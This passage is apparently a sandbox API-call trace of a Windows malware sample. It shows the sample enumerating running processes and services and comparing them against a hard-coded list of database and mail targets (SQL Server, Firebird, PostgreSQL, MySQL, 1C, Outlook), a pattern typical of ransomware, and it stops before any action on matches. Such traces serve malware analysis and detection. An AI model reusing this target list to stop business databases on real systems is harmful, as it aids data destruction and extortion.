	[0245.789] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0245.789] lstrlenW (lpString="dllhost.exe") returned 11
	[0245.789] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0245.789] lstrlenW (lpString="taskhost.exe") returned 12
	[0245.789] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.792] lstrlenW (lpString="svchost.exe") returned 11
	[0245.793] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0245.793] lstrlenW (lpString="reader_sl.exe") returned 13
	[0245.793] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0245.793] lstrlenW (lpString="cmd.exe") returned 7
	[0245.793] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1
	[0245.793] lstrlenW (lpString="AdobeARM.exe") returned 12
	[0245.793] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0245.794] lstrlenW (lpString="conhost.exe") returned 11
	[0245.794] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0245.794] CloseHandle (hObject=0x12c) returned 1
	[0245.794] Sleep (dwMilliseconds=0x1f4) 
	[0246.497] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4d9bc8
	[0246.765] EnumServicesStatusExW (in: hSCManager=0x4d9bc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0246.766] GetLastError () returned 0xea
	[0246.766] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa08) returned 0x511e68
	[0246.766] EnumServicesStatusExW (in: hSCManager=0x4d9bc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x511e68, cbBufSize=0xa08, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x511e68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0246.769] CloseServiceHandle (hSCObject=0x4d9bc8) returned 1
	[0246.770] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0246.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0246.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0246.770] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0246.770] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0246.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0246.770] lstrlenW (lpString="AudioSrv") returned 8
	[0246.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0246.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0246.770] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0246.771] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0246.771] lstrlenW (lpString="BFE") returned 3
	[0246.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0246.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0246.771] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0246.771] lstrlenW (lpString="CscService") returned 10
	[0246.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0246.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0246.771] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0246.771] lstrlenW (lpString="DcomLaunch") returned 10
	[0246.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0246.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0246.771] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0246.771] lstrlenW (lpString="Dhcp") returned 4
	[0246.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0246.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0246.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0246.771] lstrlenW (lpString="Dnscache") returned 8
	[0246.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0246.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0246.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0246.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0246.772] lstrlenW (lpString="eventlog") returned 8
	[0246.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0246.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0246.772] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0246.772] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0246.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0246.772] lstrlenW (lpString="EventSystem") returned 11
	[0246.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0246.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0246.772] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0246.772] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0246.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0246.772] lstrlenW (lpString="gpsvc") returned 5
	[0246.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0246.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0246.772] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0246.772] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0246.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0246.772] lstrlenW (lpString="lmhosts") returned 7
	[0246.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0246.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0246.772] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0246.772] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0246.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0246.772] lstrlenW (lpString="MMCSS") returned 5
	[0246.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0246.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0246.772] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0246.772] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0246.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0246.772] lstrlenW (lpString="nsi") returned 3
	[0246.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0246.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0246.773] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0246.773] lstrlenW (lpString="PlugPlay") returned 8
	[0246.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0246.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0246.773] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0246.773] lstrlenW (lpString="Power") returned 5
	[0246.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0246.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0246.773] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0246.773] lstrlenW (lpString="ProfSvc") returned 7
	[0246.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0246.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0246.773] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0246.773] lstrlenW (lpString="RpcEptMapper") returned 12
	[0246.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0246.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0246.773] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0246.773] lstrlenW (lpString="RpcSs") returned 5
	[0246.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0246.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0246.773] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0246.773] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0246.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0246.774] lstrlenW (lpString="SamSs") returned 5
	[0246.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0246.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0246.774] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0246.774] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0246.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0246.774] lstrlenW (lpString="Schedule") returned 8
	[0246.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0246.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0246.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0246.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0246.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0246.774] lstrlenW (lpString="SENS") returned 4
	[0246.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0246.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0246.774] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0246.774] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0246.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0246.774] lstrlenW (lpString="ShellHWDetection") returned 16
	[0246.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0246.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0246.774] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0246.774] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0246.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0246.775] lstrlenW (lpString="Spooler") returned 7
	[0246.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0246.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0246.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0246.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0246.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0246.775] lstrlenW (lpString="Themes") returned 6
	[0246.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0246.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0246.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0246.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0246.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0246.775] lstrlenW (lpString="UxSms") returned 5
	[0246.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0246.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0246.775] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0246.775] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0246.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0246.775] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x511e68 | out: hHeap=0x4a0000) returned 1
	[0246.775] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x134
	[0246.776] Process32FirstW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0246.776] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0246.777] lstrlenW (lpString="System") returned 6
	[0246.777] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0246.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0246.777] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0246.777] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0246.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0246.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0246.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0246.777] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0246.777] lstrlenW (lpString="smss.exe") returned 8
	[0246.777] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0246.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0246.777] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0246.777] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0246.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0246.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0246.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0246.777] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0246.778] lstrlenW (lpString="csrss.exe") returned 9
	[0246.778] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0246.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0246.778] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0246.778] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0246.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0246.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0246.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0246.778] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0246.778] lstrlenW (lpString="wininit.exe") returned 11
	[0246.778] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0246.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0246.778] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0246.778] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0246.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0246.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0246.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0246.778] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0246.779] lstrlenW (lpString="csrss.exe") returned 9
	[0246.779] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0246.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0246.779] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0246.779] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0246.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0246.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0246.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0246.779] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0246.779] lstrlenW (lpString="winlogon.exe") returned 12
	[0246.779] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0246.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0246.779] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0246.779] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0246.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0246.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0246.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0246.779] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0246.779] lstrlenW (lpString="services.exe") returned 12
	[0246.780] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0246.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0246.780] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0246.780] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0246.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0246.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0246.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0246.780] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0246.780] lstrlenW (lpString="lsass.exe") returned 9
	[0246.780] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0246.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0246.780] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0246.780] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0246.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0246.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0246.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0246.780] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0246.780] lstrlenW (lpString="lsm.exe") returned 7
	[0246.780] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0246.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0246.781] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0246.781] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0246.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0246.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0246.781] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0246.781] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0246.781] lstrlenW (lpString="svchost.exe") returned 11
	[0246.781] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0246.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0246.781] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0246.781] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0246.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0246.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0246.781] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0246.781] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0246.781] lstrlenW (lpString="svchost.exe") returned 11
	[0246.781] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0246.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
